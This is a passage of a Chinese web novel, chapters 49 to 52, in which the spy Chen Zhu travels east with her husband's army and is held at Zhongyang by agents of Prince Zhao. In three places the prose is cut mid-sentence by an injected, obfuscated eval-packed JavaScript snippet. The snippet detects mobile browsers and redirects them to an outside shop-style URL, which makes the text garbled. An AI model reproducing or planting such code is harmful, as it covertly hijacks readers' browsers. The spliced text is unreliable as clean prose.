两人就这么从两边向中间逐渐靠近，直到只剩放在桌面中央的最后一幅画像还未被收起。 沉竹正要伸手，霍间重却趁机握住她的手往自己跟前一带，他的另一只手得以抚在她的腰后，两人间的距离迅速被拉近。 霍间重低头准备从沉竹的脖颈处开始亲吻， “夫君不日便要启程前往周邑？” 沉竹的话打断了霍间重的动作，他抬起头看向沉竹淡漠的眼。 “夫人怎么知晓？我今日正打算同夫人说此事。” “芙儿告知于我。”沉竹边说边试着从霍间重的怀抱中挣脱，可越挣脱她与霍间重的距离变得越发接近。 见状，沉竹抬手发力，准备向霍间重的胳膊肘击去，她有把握这一击能让霍间重即刻松开自己。 可惜霍间重反应迅速，他将她的手握在了半空。 但此举也让沉竹少了禁锢，她一个用力，顺利从霍间重的怀抱中脱身。 霍间重两手空空，他垂眸掩去一瞬间的失落，转身将桌上剩下的那一幅画像收起。 “此去周邑，除了要同羌族交战，还要去寻访周邑附近的城邦，可能要呆上些时日，夫人可要同我一起去？” “一起去？” “此次同行的还有陈年，顾涟涟也会随行，可同你做伴。” 霍间重循循将话说完，沉竹却没有将他的话都听进去。 东部，周邑，征战，羌族。 她回想起沁菊潜入霍府取得的那张图纸。 这是他们早早设好的圈套。 “你未免将事情同我讲得太多了些，我尚是赋凌司细作。” 沉竹话音落下，霍间重便知晓她已将来龙去脉想清，他沉着开口：“那你可会将此事写信告知赋凌司？” 不会。 他知道沉竹的答案。 49. 临行 沉竹在几日前就收到了赋凌司的传信，信中除了给予她解药，还任命她为燕京的辨情使，可令她失望的是，除此之外并没有任何的信息再告知于她。 她怀疑着沁菊先前暗示她的究竟是真是假，可现下沁菊身死，她无从找寻得知真正的情况。 手握更多的消息才意味着有跟赋凌司谈判的条件，只要待在霍间重身边，她就还有被利用的价值，她跟赋凌司的联系就不会断开，她生的可能就会更大一分。 沉竹没有回答霍间重的问题，只是答道：“好，我跟你去。” 十日之后，大军启程。 霍间重披着战甲骑马在前方引路，陈年则骑着马伴驾沉竹与顾涟涟所乘的车架。 除燕京城和几座特别的城池之外，兆国境内大多城池都由景王和昭王分开打理，少数分封给有亲缘的王室贵族。 此去周邑，路途遥远，难免经过各家属地，沉竹他们第一处落脚的城池便是丰原——昭王属地。 丰原离燕京城的距离并不远，当地也算得上富饶，有不少从各地前来燕京交易的商人都选择此处作为落脚地。 一行人落脚的客栈之内便住着不少商贾，每到夜晚客栈之中便热闹得很，来往的商人都在厅堂之中交流着各处的逸闻与新鲜事，交换着有关货物与商品的信息。 这日，霍间重未归，沉竹叫上沁兰改变装扮隐去面容，坐在装扮各异的商人中间，拿着银杯喝着身边商贾给桌上人斟满的紫红色果酒。 沉竹支着脑袋听着桌上人偶有交锋的交谈。 他们口中大多是沉竹所不知晓的景象，沉竹依着他们的话在脑海中勾勒出一幅自由又美好的景象，一时沉溺，忽略了自己逐渐昏沉的脑袋。 桌上有人走也有人来，新来的这一个和桌上大多人的去向不一样，他要去往的正是周邑。 “周邑？”沉竹旁边的那个大胡子商人惊诧道，“那里有什么可买卖的？一片荒芜之地罢了。” “可是有什么我们所不知的商机？不知兄弟可否告知于我。”另一个长着西域面孔的商人问道。 被问的那人摇头笑笑，淡定地给自己尚空的酒杯倒上同沉竹杯中颜色一样的甜美液体。 “怎得还打起了哑谜？”沉竹耐不住性子，出声询问道。 此话一出，身边不少人都附和着，叫那人赶紧给出个答案来。 “周邑虽地处偏僻，但民风淳朴，当地百姓热情好客，与之来往极其方便容易，拿到货自然也简单不少。“ “是何货物？“大胡子商人见他出声急忙问道。 “周邑苦寒，人迹稀少却有着不少珍稀活物，我便是做这个的。“ 那人遮遮掩掩不肯透露，向大胡子商人打着马虎眼。 “那你这货物运往何处？“ 直接的问不出来便问间接的，桌上之人各个精明，想尽办法套取一点有关财富的信息。 这七拐八拐朝真相迈进的感觉令沉竹熟悉，她双颊绯红，笑得醉醺醺等着那人新的回答。 “自然是运往燕京城，不然我也不会在此处落脚。” “运往燕京？燕京之内无奇不有，周邑能给城中提供些什么人人皆要的东西？” “这位兄弟想错了，我赚的并不是平头百姓的钱财。” “不想你竟还有皇家的关系？” 提到皇室，沉竹的神经一提，换了姿势听着那人接下来的话。 “那是自然，身为兆国子民，为皇家办些事自然是鞠躬尽瘁，山高路远也万不推辞。”那人说着扬起了脑袋，颇有些趾高气扬。 “燕京城周围有丰原、曲林二城，分属昭王和景王两人治理，小兄弟既落脚在此，这燕京城内的关系必定同昭王有关吧。”桌上的人进一步探究着这桩有价值的消息。 那人不再言语，可举手投足间除了轻蔑剩下的俨然是默认。 桌上众人见他这副模样，没了兴致继续问下去，转了话题，聊起了路途上所见的丰草沃土，大美人文。 沉竹再无法听着那些人绘声绘色的描述想象，方才提到的昭王已然勾走了她全部的注意力。 新来的那人沉竹已在客栈之中碰到过好多次，那人轻衣简行，身边也不见有人跟随，沉竹在客栈之中待了三日，便天天在饭店时同那人在门口打照面。 燕京城中不是未设商栈，大多去往燕京做生意的商贾不过是在此处短做停留，随后便前往了燕京城，那人一幅在此久居的模样，莫不是生意就做在丰原城中而非燕京？ 沉竹的脑中出现猜想，没了心情在此处久待，她想起了那个因昭王让她可能再无法得知的赋凌司秘辛，脚步踏上台阶之时多了沉重，美酒的气味在她混沌的脑中同少许清新的空气交缠，她走得摇摇晃晃，多亏有沁兰在身边搀扶才不至于左脚绊右脚摔坐在地上。 进了厢房，沉竹的清醒坚持到沁兰为她剔去鞋袜的那一刻，随后便跟着酒意指引，陷入梦乡。 再醒来时，是因为一阵从房门处飘来的凉意。 沁兰为她裹好的被子早已被她自己弄得凌乱，在除她身体之外的床榻上随翻滚动作游荡。 打开房门的是霍间重，丰原的守军同他年幼征战时相交，听闻他来此便约着外出。 他脱下厚实的灰色披风在门口处抖了抖，白色的雪花在沉竹刚刚睁开的眼前星星点点地坠落。 “下雪了？”客栈厅堂之中纷纷扰扰，聚着全是人，沉竹一眼望不到门外的景象。 “嗯，刚下不久。”霍间重低声应道，放好披风转身，他便注意到了沉竹不对劲的状态，“你饮酒了？” “客栈之中热闹，我便跟沁兰下去看了看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129931|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不免多饮了几杯。” 沉竹现下的状态虽比先前清醒了不少，但她的神思依旧不甚清醒。 “可觉着难受？”霍间重走进，弯下身子，看着沉竹又闭上的眼，两手轻按着她的太阳穴。 沉竹身上其实已不沉重，头也不疼，只是还有几分不清醒，但她没做什么表示，静静地享受这片刻的舒适。 房门早被霍间重重新合上，屋内炉火点得旺盛，十分温暖。 “是有些难受。”沉竹又过了一阵才回答道。 “楼下的膳房烛火还亮着，我去煮些解酒的汤药端上来。“ 沉竹察觉到太阳穴的温度消失，她睁开眼，伸手抓住霍间重的手，轻声说道：“别走。” 霍间重挪不动脚步，只得出声说道：“用不上太久，只肖片刻我便会回来。” 沉竹的手并未因霍间重的话松开，反而越抓越用力。 “你不难受对不对？”霍间重反问，沉竹落在他手腕的力气着实大，大到令他有些疼。 “夫君今日去了何处？”沉竹并不知晓霍间重今日晚归的去向。 “旧友恰巧在丰原城中当职，白日忙完正事便同他外出。” 沉竹听后既缓慢又大幅度地上下点了点头，最后一次向下时没分配好力气，整个身子向前栽去。 霍间重及时托住她的脑袋，防止其进一步下落。 沉竹直起身子，朝他一笑，抬手搂住霍间重的脖颈，朝自己的方向一拉。 霍间重没料到她的举动，双手慌张地落在了沉竹身后的棉被之上。 “我今日很开心。”沉竹笑嘻嘻地同面前的人说道。 因为喝到好喝的酒开心，因为想象到自由又美好的图景开心，也因为可能捉到昭王的把柄开心。 “是吗？”霍间重的眼神变得晦暗，他调整着自己的姿势，重新找回自己主动的地位。 今日的沉竹少了些戒备与谨慎，变得更加讨人欢喜。 他的手逐渐上移，将沉竹身上重重叠叠的外衣一件件褪去。 沉竹察觉得到他的动作，懒得去帮忙，等着他替她将身上的一幅褪去。 可冬日太冷，沉竹身上的衣服自然而然变得多，空气流动得太过静谧，她的眼皮就要支撑不住。 霍间重显然没有察觉到此事，他专注地解开手上遇到的难题，一个系在她腰侧的结。 手指缠绕了几次，结终于解开，霍间重轻呼了口气，准备进行下一个动作，却不想沉竹的身子直直地落了下来，落到了他的怀抱之中。 他看着沉竹因平缓呼吸而颤动的睫毛，感受着怀中人起伏的呼吸。 意识到沉竹睡着，霍间重苦笑一声，害怕自己的动作再次吵醒她，动弹不得，于是将手轻搂住她的肩膀，和她的呼吸同频，一起在大雪之中安睡。 50. 急病 队伍在丰原并没有停留多久，第五日大军便继续往东边行进。 短暂的时间不给沉竹留出进一步探查昭王在丰原生意的信息，在离去之前，沉竹寻机外出用钱财在城中留下眼线，监视着那位商人的一举一动。 路途之上，走在前面的士兵传来了消息，说东羌近来不安分，多次侵扰周邑边境。 军队的行进因此变得快，霍间重领着队人马先行，沉竹则跟着大军一起朝周邑行进。 过快的行程让人吃不消，顾涟涟在中途染上了风寒，不得已停下了脚步，可公务要紧，陈年并不能因此耽搁拖慢脚步，沉竹便主动请缨在中途的一座名为仲阳的城池留下休整，照顾病中的顾涟涟。 陈年从队伍中挑出几个人组成护卫队，留在仲阳保护沉竹与顾涟涟二人。 护卫队中领头的人名叫彭焦，早些年曾在陈年手下做事，近来在燕京城的守卫军队任职，是临行前陛下调来的军士之一。 此人长相憨厚，可沉竹总觉得他的眼中有着一种她不喜爱的钻营。 沉竹与顾涟涟落脚在仲阳城中一间朴素的客栈之中。 安顿好顾涟涟后，沉竹带着沁兰前去医所请来医士，又拿着医士开出的药方去到药铺为其抓药。 可那药方之上有一味药材沉竹跑遍了城中所有的药铺也未寻得，一打听才知晓，这味药材被军中尽数调去，城中药铺剩下的这味药材都积压时间过久，不宜使用。 沉竹再去向医士打听可否换一味药材，医士左右考量过后才又写出一味来，只是药效不如先前那般良好。 这味药材普遍，沉竹按着药方配好药后，和沁兰两双眼睛看着药炉扇着火煎熬，终是有了药给顾涟涟服用。 可顾涟涟的病却愈发地重了，先前身体留下的旧疾也在此刻发作，一连几日都高烧不已，喝下去的药短时间不见成效，沉竹不可避免地变得心焦。 她写信给已然离开几日的陈年，问其是否能从军中要到那味本来的药材，她不敢离开顾涟涟身侧，只得遣彭焦一行人去到周围的城池寻访问药。 沉竹忧心，一连几日夜晚都难以入眠，不时便被惊醒。 不愿去见梦中的厄鬼，沉竹披了衣服走到客栈之外来回踱步吹着冷风保持清醒，留沁兰在顾涟涟身侧照看。 夜色深沉，只有沉竹手中提着的灯笼在黑暗重发出微弱的暖黄色光亮。 门前只剩风声的街巷出现了一点车轴滚动的声音，引起了她的注意。 许是本能作祟，她吹灭了手中的灯笼，轻声走出门口，前去察看。 一队人带着斗笠，穿着深色的棉衣，一个个推着板车奋力在雪地里前进着，板车之上放着几个中等大小的木箱，天色昏暗，沉竹看不清木箱之上有何标识。 沉竹暗中跟着这队人，去到了城门之外临时搭建的草棚之中，待那群人将货物清点离开后，她绕过守卫离得木箱更近了些。 木箱之上没什么标识，甚至也未上锁，她打开木箱，一股草药的味道扑面而来。 是药材。 她将手伸入，拿出一小块药材，离开草棚，回到了客栈之中。 借着客栈中烛火的光芒，沉竹看清了手中药材的模样。 往日度过的草药典籍浮现在沉竹心头，她识出此药正是医士第一次写出的药方中的那味难寻的药。 那队人晚间偷偷摸摸将药材运出城，显然不是军队的做派，看来是有人故意将此药运出了仲阳城。 疑虑在沉竹的心底滋生，次日，她守在顾涟涟身边，遣沁兰去找城中的木材铺子询问近日可有打量木材被定出，又有何用途。 一日下来，沁兰打听出了结果，她整理出一份单子交给了沉竹。 名单之上的人名沉竹大多不识，只是一个叫做段贵的人有些眼熟，似是在哪里见过。 “已是第五日了，这烧还未退下，不知陈夫人的病何时能好。”沁兰叹息道。 “你可还记得这几日前来牵车引马的那个叫什么名字？” “夫人说的可是那个高高瘦瘦的人？” 看到沉竹点了点头，沁兰接着说了下去：“好像叫段……贵。” “你去将他给我找来。” 沁兰点头答是，没一会儿就把段贵带到了沉竹的面前。 段贵今日恰巧来此处检查车马可有异常，沁兰说夫人有事寻他，便将人带了上来。 “夫人找小的有何事？”段贵恭恭敬敬的向沉竹询问道，浅褐色的粗制棉衣将他瘦削的身体包裹，脑袋像一只雏鸟从干草造就的窝巢冒出头来。 沉竹不着急说话，从头上拔下一只镶着玉石的珠钗，放到了面前的木案之上，让沁兰端着走到了段贵的面前。 “夫人这是何意？” “你家中急着用钱？“ 沉竹话说出口，面前的段贵不敢接下那根送到眼前的玉簪，慌张地跪在了地上。 “家中妻女染了重病，我实是没了办法才偷拿了夫人马车上挂着的坠子拿去换钱，还望夫人宽恕。” 沉竹几日都不曾乘马车外出，哪里知道马车之上少了几个坠子。 “万般事宜，你只捡了最轻的一件来说。” 沉竹边说边示意沁兰将那只银簪塞到段贵手中，段贵没有退却，他颤颤巍巍地将那只簪子握在手中，对沉竹说道：“夫人想要我干些什么？” “这只银簪是我从娘家带来的，上面镶着的宝珠可抵万两。”沉竹假做思索接着补充道，“应当是你帮彭焦跑腿拿到的酬劳一倍还多。” 听完沉竹的话，段贵立马反应了过来，忙拱手向沉竹道：“夫人放心，夫人交代的事我定会办妥。” 段贵拿着簪子离去，沁兰却看着其离开的身影颇有些不安。 “那支簪子并没有我说的那般珍贵。” 沉竹的声音让沁兰转过身来，“夫人可信任此人？奴总是担忧此人会两边讨好，坏了事。” “惩治他们的事情先放到后边，现在最为紧要的是拿到那味药材，让陈夫人的病有所好转。” “那彭焦该如何？夫人还要放他在身边吗？” “此人如此胆大妄为，必是身后有人助力，短时间要是想将此人捉拿怕是不易，只能走一步看一步了。” 次日，段贵一早就将那味药材送到了沉竹所在的客栈之内，沉竹让沁兰拿着去为顾涟涟煎药，自己则暗中跟着段贵，去到了他的家中。 段贵家中的确有一对正在病中的妻女，可病情却不如沉竹想象那般严重，只是简单的咳疾。 探明情况后，沉竹返回客栈，不想正巧遇到一刺客潜入，目标正是顾涟涟所在的那一间厢房。 沉竹紧随着他的脚步，但她今日出门之时没带匕首，只得用身体阻挡着其接近顾涟涟。 沁兰正巧端着药进到房中，拿着手中木案便朝那人的头拍去，那人受了打击一个愣神，沉竹便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14152048|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将他擒拿在地。 沁兰找来绳子递给沉竹，沉竹将那人的手脚捆绑，整个身子绑在了厢房的一根柱子之上。 那人在地上不断挣扎着，沉竹的脚用力地踩在他的膝盖之上，手揭开那人遮面的布。 黑色遮面之下的面孔沉竹认得，是平日里跟在彭焦身边的那个侍卫。 “谁派你来的”的问话在此时显得多余，沉竹看着那人不屈的面庞思考着解决方法。 此人身上还穿着盔甲，若是鲁莽地将此人杀掉，难免落人口实，可若将人放走又实在不是沉竹的风格。 思考过后，她当着沁兰的面，拿出赋凌司的匕首，按住那人的肩膀一刀刺向那人的咽喉。 血越来越多地流淌在地面之上，待那人没了生机，她将那人解绑平躺放在了屋子的正中央，把绳子藏了起来。 将一切事情安顿好，沉竹让沁兰唤彭焦来。 床榻上的顾涟涟尚且虚弱，眼前景象模糊，只知发生了搏斗，但无法分辨具体的请情况。 “霍夫人，发生了何事？”顾涟涟语气虚弱的朝沉竹问道。 “无事，不过是房中进了歹人，现下已无事了，你只管休息便好。“ “那霍夫人可受伤了？” ”不曾。”沉竹边说边活动了一下方才与那人搏斗时用力的臂膀。 彭焦赶来时，沉竹已然拿那人的血在自己的脸上涂抹，装作疲惫的样子，靠在方才帮着那人的柱子之上。 “彭将军你可是来了，方才客栈之内进了贼人，多亏这位将军相救我们才幸免于难。” 彭焦一脸疑惑地看着现场的情况，被他派来刺杀顾涟涟的手下双目睁着倒在了地上血泊之中，而手下脖颈上的伤口似是…… “赋凌司？”彭焦在京中任职，对廷正监捉拿城中细作一事也是略有耳闻。 “彭将军在说些什么？我并不知晓。” “那人的身材样貌，夫人可还记得？”彭焦神情焦急地朝沉竹问道。 “我受了惊，一时间没看清那贼人的样貌，只记得身量与这位将军差不多高。”沉竹说完用手扶住头，轻飘飘地对彭焦说道，“将军可有带医士前来，我这头疼得厉害，方才陈夫人也受了惊吓，莫要影响病情才好。” 彭焦听闻霍夫人有请，来得匆忙，以为达成了目的，只多带了几个手下等着抬尸体，哪里想得到带个医士过来。 沉竹的话让彭焦回过神来，拖着沉重的盔甲出门为沉竹请医士来察看。 见彭焦离开，沉竹拍拍手起身，用沁兰端来的水将脸上和手上的血渍清洗干净。 “夫人，奴有一事不知该问否？” “只管问便是。” “夫人的匕首是从何而来？” 沁兰的疑问沉竹早有准备，她语气平淡地同她说道：“沁菊进入廷正监牢狱之前身上带着的东西被搜了干净，我特地问夫君要了来，想着当个念想，这匕首便是其中一个。” 沁兰听后点点头，不再多做问询。 ”还有这个，一块玉佩，我去探望沁菊时她嘱咐我交予你。“ 沉竹从带来的行囊中翻出那块玉佩放到了沁兰手上。 “本想着之前就给你的，不想记性不好，记起来又忘，今日想起匕首便想起了此物。” 沁兰看着手中的玉佩不出声，眼眶却微微湿润。 “这玉佩可是有什么特殊含义？”沉竹试探着向她问道。 51. 困局 玉佩并不是沉竹忘了拿给沁兰，她心中一直记着这件事，迟迟不把玉佩交沁兰，是她自己疑心沁菊在玉佩藏了她所不知的消息，才握在手中反复研究，但终是没有结果，还是将其归还给了沁兰，期冀能在沁兰口中得到她想要的答案。 “这玉佩是沁菊刚入赵府用第一个月的月钱给我买来的，不是什么上好的料子，甚至可能不是玉，但胜在心意我甚是喜爱，从滁州搬来燕京时，那玉佩被我弄丢，幸得被她捡到，我忘了去要，便一直放在了她的身边。” 沉竹听后心生愧疚，她不曾想到沁菊如此看重的东西却只是寄托了情感，她看着沁兰颇有些忧伤的神情说不出话来。 “夫人莫要勾我回想起往事，沁菊她做了她不该做的事，便难逃一死。”沁兰将话引到沉竹关心的别处，“对了夫人，前些时候送出去的信件可有了答复？回信一直未交到奴手上，奴便想着来问问。” “不曾，我并未收到来信。” 沁兰的话提醒了沉竹，陈年刚走不久，她的信就已送出，这几日时间，她应当收到了来信。 沉竹有把握陈年不会见到信不回复，只有可能是信件根本没有送出。 “怎的时日如此久一点音讯也没有，不应该呀。”沁兰忧心道。 “是彭焦，他将信压在了自己手中，没有替我们送出。” “方才潜入房中的人穿着铠甲却持刀向陈夫人刺去，难不成…难不成这一切都是彭将军指使，彭将军是……” “是昭王的人。“沉竹冷静地将沁兰剩下的话补全。 “可他若是背靠昭王，要想解决就困难了，还有夫人可知彭将军此举是何企图？” 不待沉竹回答，彭焦带着医士急匆匆地走了进来，医士肩上挂着药箱，先来给床上躺着的顾涟涟诊脉，跟在彭焦身后的那些士兵则将地上躺着的那人抬出了屋子。 沉竹在一旁等候着，轮到她时，房中闯进了一个官员，那官员口喘着粗气，像是一路跑着赶了过来，身上的衣服也略有些凌乱。 “下官失职，让二位夫人遭此祸患。”那官员大喘了口气，对着正在诊脉的沉竹说道。 沉竹疑惑地看向在一旁站着的彭焦，等着他为自己介绍眼前人的来历。 彭焦接收到了她的信号，开口说道：“霍夫人，此人是仲阳郡守，钱正。” 沉竹点点头说道：“郡守大人莫要自责，这莫名闯入刺客一事谁也难以料到。” “霍夫人大度，下官本想等陈夫人病好再请二位夫人到府上稍坐，设宴招待一番，不想中间出了这档子事，霍夫人放心，我从城中调上一队军士来，护卫二位夫人周全，再从府中挑上几个能干的侍女来服侍。” “劳烦钱大人调队人马来护我二人周全，至于侍女就不必了。”沉竹边说边微笑着颔首。 有了另一队人马在，往后彭焦的行动想必会收到牵制，总归是件好事，至于侍女，身边围着的人太多，要做些什么也不甚方便。 “二位夫人日后有何事尽管吩咐下官。”钱正补充道，“二位夫人安心休养，我即刻去谴军士来护卫。” 说完，钱正拱手退下。 “夫人没什么大碍，静心修养便是，身上别处的瘀伤，我为夫人开些药膏，每日敷上应当十日左右定能好的差不多。” “多谢医士。” 彭焦领着医士出门，床上的顾涟涟再次开口：“我方才听到二位讲话，这彭焦许是昭王的人？” “陈夫人不必担忧安心养病便是，我自会将这些事情处理好，等到你身体好全，你我再启程前去周邑同陈大人他们汇合。” “你也要照顾好你自己才是。方才进来的那人是谁？” “此处的郡守，名为钱正。” “此人为景王做事？” “应当是。”沉竹话说的不肯定，如今太子争夺昭王显然是发力更多的那一个，现下她们身陷囹圄，此人是否被昭王策反通过短暂的交谈她没法下定论。 “我定会按时吃药，早日康复，让你你莫要为我再忧心。”顾涟涟说着宽慰的话。 “好。”沉竹笑着回答道。 有了那味关键的药，顾涟涟的病的确好转了不少，已能下榻同沉竹外出，沉竹见状也将前去周邑的事提上了日程。 兴许是钱正派来的人起了作用，彭焦没再闹出些什么事来，只是沉竹依旧未收到任何一封来信。 见顾涟涟病好，钱正急忙亲自递了帖子来，请二人去到府上赴宴。 沉竹没理由推拒，按着帖子上的时间和顾涟涟一起去到了钱正的府邸上。 钱正的府邸装修地并不复杂讲究，各处布置简洁朴素，只是在一入正厅在朴素屏风前摆着的玉山，用的料子沉竹一眼看出绝非凡品，不是钱正这等俸禄的人能有的雅物。 沉竹心略沉，但还是照常坐下，等着开席，顾涟涟坐在她的前瘦，笑盈盈地同钱正的夫人搭话。 鼓乐声起，钱正才踏声而至，向沉竹与顾涟涟赔不是，说是城中事务耽搁一时来晚了。 沉竹与顾涟涟口中说着无事，回应着他口中挑不出错的理由。 舞姬接着上场，紧随其后的是侍女来到沉竹案前端上菜肴。 彭焦也在这宴席当中，他坐在另一侧，此时正拿着酒盏同主位上的钱正喝着酒。 拦住药材，派人来伤顾涟涟，沉竹猜测其本意是想在景王的属地扰出些乱子来，离间陈年与景王间的关系，至于截住书信，除了是想要断绝她们与陈年和霍间重的联系，便是打定了主意要将她们困在仲阳城中。 至于其中意图，必是关于昭王。 为什么此人总要同自己过不去？从燕京到这里，好像她的每件事都似有若无地被其拦下。 一曲舞毕，场上的舞姬挥舞着薄纱退去，沉竹也放下手中的食箸，开口向钱正说道：“钱大人，我与陈夫人打算三日后离开仲阳前往周邑，多谢钱大人这些时日的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183925|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招待。” “三日后？陈夫人的病可好全了？” “已然好的差不多了。”顾涟涟回答道。 “不如再待上些时日休养再上路，去周邑路途遥远艰辛，路上不要再出事才好。” “其实已然……”顾涟涟还欲开口再说。 “对了，不日后便是仲阳当地的丰收节了，不如二位留下来感受一番仲阳当地风俗再离去？” “丰收节定在何时？” “不远，此节是百姓们为祈祷来年丰收而设的节日，就定在半月后。” 半月后？有这十五日的时间她们早已到了周邑。 若是将拒绝的话说出口，沉竹与顾涟涟再想走出客栈的大门怕是难了，哪怕是现在她们结伴外出，身后都跟着不少人。 “那便劳烦钱大人再多招待一些时日了。”沉竹笑着应下了钱正的邀请。 “霍夫人这是哪里的话，这本就是下官应该做的。” 钱正边招手让侯在下边的乐师们上来，边说道：“来！为二位夫人奏乐。” 沉竹不甚懂音律，这些乐师弹奏的曲目在她听来是悦耳的，可再悦耳也无法解开她此刻心中的忧愁。 再在此处待下去，不知会发生什么事，她要尽快寻机离开此处。 回客栈的马车两侧有两队人马跟随护卫，马车上沉竹和顾涟涟保持着沉默，直到回到客栈厢房内。 原先守在房门前的官兵职责在二人眼中正式由护卫变成了监视，顾涟涟不敢高声说话，只得离沉竹更近些，脸对着脸轻声同她讲道：“霍夫人现下该如何是好？” 沉竹被她这副可爱模样笑到，没忍住轻笑了几声才同样说道：“你大可放心，只管将你的病休养好便是，其他的交由我来做。” “我对霍夫人是千百万个放心的，只是你我被困在此处，定会被当作把柄要挟夫君他们，霍夫人若是能想到什么办法定要同我说，我定会全力相助。” 见着顾涟涟脸上的表情变得担忧，沉竹郑重地朝她说道：“你放心，有何办法需要你帮忙我定会同你说。” 沉竹本没想到会被当作把柄要挟霍间重他们这一层，只是觉得在此处行动处处受限，十分不方便。 顾涟涟的话倒是给她提供了新思路，倘若此事牵扯到廷正监，她便可猜测到事情的全貌。 廷正监清查城中赋凌司细作，而赋凌司现下又归覃国管理，昭王欲联合覃国以休战为约定来为争储一事增添助力，自然便要满足覃国提出的要求，清理廷正监便是其中之一。 廷正监又归景王管理，将在廷正监安心踏实办事的陈年与霍间重二人从廷正监剥离，既可一定程度削弱景王势力，还可接近满足自己清除廷正监的目的。 倘若自己率先达成他们想要达到的目的，便可尽快离开此处，前去周邑。 今日的夜色格外漫长，沉竹在床榻之上辗转思虑，终是有了计策，此计策自然也将顾涟涟考虑在内。 52. 司南 和顾涟涟一行人分别的时日越来越久，陈年心中也有些担忧，但想到妻子身边有人陪同就又放下些心来，只是多日不曾收到书信让他又多添几分忧虑。 在离开足足七日的时候，他得出空来，提笔写了一封书信让人快马送到仲阳。 送信的人脚程快，来回不过三四日，可回信他等了许久都不曾等到，他的心情变得有些不安，又提笔写了几封信叫人送去。 然就在这几封信一并送出时，他前些时候写的那封信有了回音。 回信足足两封都署着顾涟涟的名姓，陈年大喜，急着拆了第一封，可信的内容却让她笑不起来。 这封信的确由顾涟涟执笔，信中哭诉着她在仲阳遭遇的一切，包括求药无门，险被刺杀一事，言辞恳切地控诉着仲阳城中种种不好迹象，信末落笔，她对他极为思念。 陈年看后心痛，即刻便想去到仲阳城，可转念一想仲阳是景王的属地，他先前将顾涟涟一行安置在仲阳就是看重了这一点。 可这信中内容跟他先前所想完全违背，近日京中朝堂涌动，景王治下不严的言论频出，他现下虽为景王效力，但他在官场之上仍旧是新人，他尚分辨不出此人日后是否会是开明的君主。 抱着这样的想法，陈年打开了第二封署着顾涟涟名的信。 他认得顾涟涟的字迹，这封信的执笔之人显然不是顾涟涟也并未想着要去模仿她的字迹，信中的内容简单，有人约他在周邑附近的一座边城相见，却未写明此人是谁。 这第二封信似乎在传达着顾涟涟被困在仲阳城中的信息，可若是被困在了仲阳城中又怎会写出那第一封信来？ 陈年察觉到了不对劲，信中约定的时间在三日后，足以让他快马赶到那座周邑附近的边城，他找了信得过的护卫陪同，在第三日的清晨他抵达了约定的地点，摘下落了雪的帽子和披风，屋中还站着一个人，是霍间重。 他和他一样，刚刚抵达此处，手上拿着不知从哪里找来的白巾，擦拭着身上铠甲上残留着的血迹。 “近来东羌还是频繁来侵扰周邑边境？” 霍间重知晓陈年是在问自己身上血迹的来源，他摇摇头回答道：“不是，近来不少羌族人扮作普通百姓模样袭击在城中驻守护卫的士兵，我来此之前刚遇到了这样一群人。” “先前不知道羌人还有这般弯弯绕绕的心思，想必是有覃国指点。”他边说边坐下，屋子里的灰尘因他这一番动作飞散开来，“你也收到了信？” 霍间重点点头说道：“有人写信叫我来此相见。” “署名的可是你家夫人？”不等霍间重回答陈年便又自顾自地说道，“你可猜出是何人将我们约到此处？说来也是奇怪，我收到的两封信，一封信由我夫人亲笔写成，而另一封则显然不是她的字迹。” 霍间重没有回答，沉默地坐到了他的旁边等待着来人。 进屋的第三个人是一个穿着华丽，用薄纱遮面的女子，那女子摆着腰间的金色链条走到二人面前，轻柔地说道：“二位久等了。” “你是何人？”陈年直截了当地问道。 “我约二位大人来此，是来传达昭王托我给二位大人带的话。” 霍间重抬眼，看向女子浅色的瞳孔，出声问道：“你是羌族人？” 那女子先是摇摇头，随后才说道：“我父是汉人，我从小随父亲在燕京周边的一座小城长大，算不上是羌族人，只是近几年家父生意转移，来周邑附近住了些时日。“ 霍间重听后不再询问，等着那女子将昭王要带给他与陈年的话讲明。 “昭王请二位大人辞去廷正监职务。”那女子云淡风轻地说道。 “为何？”陈年不解问道，“是圣上旨意？” “圣上并没有下达解散廷正监的旨意，只是昭王希望二位大人离开廷正监，二位也不必为少了一份俸禄的事情忧心，昭王自会为二位大人另寻新去处。” 陈年听后不再言语，他已明白了事情的前因后果。 昭王遣人买通了他留在仲阳照顾顾涟涟一行的军士，将他的夫人困在了仲阳城中当作要挟。倘若他拒绝昭王的要求，只怕是他再见顾涟涟就是去仲阳城为其收敛尸体。 见眼前的两人不再言语，那女子接着从袖中拿出她所认为的更具说服力的证据——两件显然是女子的饰品，摆到了陈年与霍间重面前。 她没多说些什么，她相信这两件东西会迫使他们更快做下决定。 